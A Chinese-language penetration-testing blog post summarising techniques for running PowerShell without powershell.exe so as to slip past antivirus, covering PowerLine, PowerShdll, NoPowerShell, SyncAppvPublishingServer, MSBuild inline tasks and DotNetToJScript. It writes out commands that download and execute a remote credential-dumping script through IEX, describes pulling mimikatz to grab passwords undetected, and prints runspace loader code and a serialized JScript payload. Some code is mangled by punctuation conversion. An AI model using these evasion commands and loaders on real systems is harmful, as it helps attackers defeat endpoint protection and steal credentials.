無powershell執行powershell方法總結
今天給大家帶來的是,無powershell執行powershell的一些姿勢的分享,由於powershell的特性,使得它很受滲透測試愛好者的喜愛,當然也催生了像ASMI之類的防禦手段,當然各類殺軟也是把它納入了查殺行列中,比如某套裝,只要你呼叫PS就會查殺,著實噁心。
所以我們在與AV的對抗中也會想法設法的去bypass來執行PS,這裡我便總結了幾種無powershell執行powershell的姿勢,希望能在實戰的時候幫到大家。
下面是總結的列表:
PowerLine
PowerShdll
Nopowershell
SyncAppvPublishingServer
呼叫MSBuild。exe
呼叫cscript
下面的實驗如無特殊說明,均在windows server 2008 sp2 + 360最新版下進行
PowerLine
PowerLine是一款由c#編寫的工具,支援本地命令列呼叫和遠端呼叫,可以在不直接呼叫PowerShell的情況下呼叫PowerShell指令碼,優點如下:
自動識別win7、win10系統
使用方便,無需複雜的ide
自動xor編碼
等
下載地址可留言或私信獲取
我們來看一下它的使用方法:
首先拉取專案到本地,然後執行build。bat檔案
然後在UserConf。xml檔案中填寫你所需要呼叫的powershell指令碼的地址,預設自帶powerup、powerview、Mimikatz等,只要按照他給定的格式加入你的ps指令碼地址即可
加入完成以後,執行PLBuilder。exe進行構建,構建過程中,360無提示
檢視內建的指令碼PowerLine。exe -ShowScripts
執行指令碼,360無提示
但是在執行之後,360提示了報毒,並刪掉了我的exe檔案。。。一般AV只是檢測PS發出的惡意請求,但由於在powerline中,請求是由powerline發出的,便繞過了一部分AV,但是缺點也是很明顯,就是可擴充套件性太差,所有的功能依賴於配置檔案。。。
PowerShdll
這個工具主要使用dll去執行powershell而不需要去連線powershell。exe,所以具有一定的bypassAV能力,當然它也可以在這幾個程式下執行rundll32。exe, installutil。exe, regsvcs。exe, regasm。exe, regsvr32。exe或者使用作者給出的單獨的exe進行執行
下載地址:留言或私信獲取
exe版使用方法:
使用PowerShdll -i進入到互動模式,此時便獲得了一個互動式的PS環境,可執行任意的powershell命令,整個過程360無攔截
下載mimikatz抓取密碼,360全程無反應。。。
在互動式模式下唯一要注意的就是,你輸入的內容不能過長,否則會出現問題,原因未可知。。。。
我們再來看一下dll版的用法。。
rundll32 PowerShdll。dll,main 。 { iwr -useb https://raw。githubusercontent。com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump。ps1 } ^| iex;
這次沒有那麼好運了,直接被360殺了
Nopowershell
NoPowerShell是用C#實現的工具,它支援執行類似PowerShell的命令,同時對任何PowerShell日誌記錄機制都不可見。同時也提供了CS下的cna指令碼。
優點:
執行隱秘
功能強大
擴充套件簡單
即使不熟悉PS命令也可以使用cmd命令來代替PS命令,例如(使用ping來代替Test-NetConnection)
下載地址:留言或私信獲取
我們來看一下它的用法:直接執行便會輸出它的版本和支援的命令
過程360無攔截,而dll版被秒殺。。
cs下穩定。。
這裡要注意一點的是,指令碼預設呼叫scripts下的檔案,國內的cs大多為script目錄,自行修改檔案內的目錄即可。
瞭解了相關的知識,我們在實操中是怎麼運用呢?登入合天網安實驗室尋找答案。
相關實驗推薦:CobaltStrike之代理和powershell
快去合天網安實驗室做實驗吧~
SyncAppvPublishingServer
SyncAppvPublishingServer是win10自帶的服務,有vbs和exe兩個版本,我們可以使用他們來做一些類似PS的操作
預設存放在C:\Windows\System32下面
用法例項:
彈計算機:
C:\Windows\System32\SyncAppvPublishingServer。vbs “Break; Start-Process Calc。exe ”
或者:
C:\Windows\System32\SyncAppvPublishingServer。vbs ”Break; iwr http://192。168。1。149:443“
你也可以去遠端下載執行一些ps指令碼就像下面這樣:
C:\Windows\System32\SyncAppvPublishingServer。exe \” Break; (New-Object System。Net。WebClient)。DownloadFile(‘https://raw。githubusercontent。com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump。ps1’,‘$env:USERPROFILE/1。ps1’); Start-Process ‘$env:USERPROFILE/1。ps1’ -WindowStyle Minimized;“
SyncAppvPublishingServer。exe ”n;(New-Object Net。WebClient)。DownloadString(‘https://raw。githubusercontent。com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump。ps1’) | IEX“
呼叫MSBuild.exe:
MSBuild是。Net框架中包含的工具,用於自動化建立軟體產品的過程,包括編譯原始碼,打包,測試,部署和建立文件。
Msbuild依賴於。csproj檔案,該檔案具有XML語法,包含了。NET構建過程中的結果,類似於unix中的make,程式碼如下:
xmlns=”http://schemas。microsoft。com/developer/msbuild/2003“> AssemblyFile= ”C:\Windows\Microsoft。Net\Framework\v4。0。30319\Microsoft。Build。Tasks。v4。0。dll“ > <![CDATA[ using System。Collections。ObjectModel; using System。Management。Automation; using System。Management。Automation。Runspaces; using System。Runtime。InteropServices; using System。IO; using System; using System。Text; using System。Runtime。InteropServices; using Microsoft。Build。Framework; using Microsoft。Build。Utilities; public class PSLess : Task { public override bool Execute() { string buffer = ”“; try { buffer = File。ReadAllText(”c:/test/test。ps1“); } catch (Exception e) { Console。WriteLine(”error:“ +e。Message); Environment。Exit(2); } buffer=RunScript(buffer); Console。WriteLine(buffer); return true; } private static string RunScript(string script) { Runspace MyRunspace = RunspaceFactory。CreateRunspace(); MyRunspace。Open(); Pipeline MyPipeline = MyRunspace。CreatePipeline(); MyPipeline。Commands。AddScript(script); MyPipeline。Commands。Add(”Out-String“); Collection MyRunspace。Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb。AppendLine(pobject。ToString()); } return sb。ToString(); } } ]]> < / Code>
test。ps1的內容如下
echo ”hello from powershell-less“
echo ”this is your pid:$PID“
$psversiontable
效果:
全程360無提示。。
github上也有類似的專案:留言或私信獲取
執行完之後獲得一個互動式的PS
呼叫cscript:
github上有一個開源的專案,可以直接生產一個。js的檔案,用法是
Dotnettojscript。exe
現在作者給出來編譯好的版本,但是裡面總是有一些問題總是提示:
Error: loading assembly information。
The generated script might not work correctly
所以我們下載下來,進行手動編譯。。
首先使用vs開啟專案,然後切換到TestClass。cs,並註釋掉MessageBox這個方法,不然每次執行都會得到一個messageBox
然後,因為需要呼叫PS,所以我們需要引入”System。Management。Automation。Runspaces”,“ System。Management。Automation“,我們可以在PS下使用下面的命令進行查詢該dll的位置,然後手動引入
[psobject]。Assembly。Location
引入之後,並且在TestClass中加入以下方法:
private string LoadScript(string filename)
{
string buffer =”“;
try {
buffer = File。ReadAllText(filename);
}
catch (Exception e)
{
return ”“;
}
return buffer;
}
public void RunScript(string filename)
{
Runspace MyRunspace = RunspaceFactory。CreateRunspace();
MyRunspace。Open();
Pipeline MyPipeline = MyRunspace。CreatePipeline();
string script=LoadFile(filename);
MyPipeline。Commands。AddScript(script);
MyPipeline。Commands。Add(”Out-String“);
Collection
MyRunspace。Close();
StringBuilder sb = new StringBuilder();
foreach (PSObject pobject in outputs)
{
sb。AppendLine(pobject。ToString());
}
Console。WriteLine(sb。ToString());
}
編譯完得到Dotnettojscript。exe、ExampleAssembly。dll兩個檔案,然後我們繼續將我們的test。ps1檔案進行生成一個js檔案,其內容如下:
function setversion() {
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject(”System。Text。ASCIIEncoding“);
var length = enc。GetByteCount_2(b);
var ba = enc。GetBytes_4(b);
var transform = new ActiveXObject(”System。Security。Cryptography。FromBase64Transform“);
ba = transform。TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject(”System。IO。MemoryStream“);
ms。Write(ba, 0, (length / 4) * 3);
ms。Position = 0;
return ms;
}
var serialized_obj = ”AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy“+
”AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph“+
”dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk“+
”ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD“+
”AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl“+
”RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU“+
”eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl“+
”cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90“+
”aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu“+
”MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH“+
”dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA“+
”ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw“+
”B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu“+
”dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA“+
”CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u“+
”SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5“+
”cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR“+
”AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA“+
”AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y“+
”bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh“+
”NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz“+
”ZW1ibHkGFwAAAARMb2FkCg8MAAAAUAAAAAJlY2hvICJoZWxsbyBmcm9tIHBvd2Vyc2hlbGwtbGVz“+
”cyINCmVjaG8gInRoaXMgaXMgeW91ciBwaWQ6JFBJRCINCiRwc3ZlcnNpb250YWJsZQENAAAABAAA“+
”AAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0“+
”ZVtdKQgAAAAKCwAA“;
var entry_class = ‘TestClass’;
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject(‘System。Runtime。Serialization。Formatters。Binary。BinaryFormatter’);
var al = new ActiveXObject(‘System。Collections。ArrayList’);
var d = fmt。Deserialize_2(stm);
al。Add(undefined);
var o = d。DynamicInvoke(al。ToArray())。CreateInstance(entry_class);
} catch (e) {
debug(e。message);
}
解密後的主要邏輯如下:
var entry_class = ‘TestClass’;
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject(‘System。Runtime。Serialization。Formatters。Binary。BinaryFormatter’);
var al = new ActiveXObject(‘System。Collections。ArrayList’);
var d = fmt。Deserialize_2(stm); al。Add(undefined);
var o = d。DynamicInvoke(al。ToArray())。CreateInstance(entry_class);
o。RunScript(”c:\\test\\test。ps1“);
} catch (e) {
debug(e。message);
}
執行結果:
當然你也可以用下面的方法如繞過對JS字尾的檢測
cscript //e:jscript testps。txt
但是360無情的殺死了我們。。。。
寫在後面:
本文僅對網上常見的無PS執行PS的手段進行了總結,實驗過程大家也可以看的出來,是可以bypass一些AV的,也是各有各的優缺點,最好是針對不同的AV去找出它的攔截規則,然後再進行對於的bypass操作。